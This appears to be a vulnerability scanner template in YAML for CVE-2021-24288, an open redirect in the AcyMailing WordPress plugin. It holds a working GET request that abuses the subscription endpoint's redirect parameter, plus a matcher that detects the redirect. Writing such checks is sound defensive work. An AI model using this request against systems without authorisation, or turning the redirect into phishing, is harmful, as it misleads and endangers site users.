21 lines
968 B
YAML
21 lines
968 B
YAML
id: CVE-2021-24288
|
|
|
|
info:
|
|
name: AcyMailing < 7.5.0 - Open Redirect
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: When using acymailing to subscribe to a newsletter, you make a POST request with various parameters. Turning that to a GET request and adding the parameters as GET parameters, you can successfully go through with the subscription.
|
|
reference: https://wpscan.com/vulnerability/56628862-1687-4862-9ed4-145d8dfbca97
|
|
tags: wordpress,cve,cve2021,redirect,wp-plugin
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/index.php?page=acymailing_front&ctrl=frontusers&noheader=1&user[email]=example@mail.com&ctrl=frontusers&task=subscribe&option=acymailing&redirect=https://example.com&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym"
|
|
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
|
|
part: header
|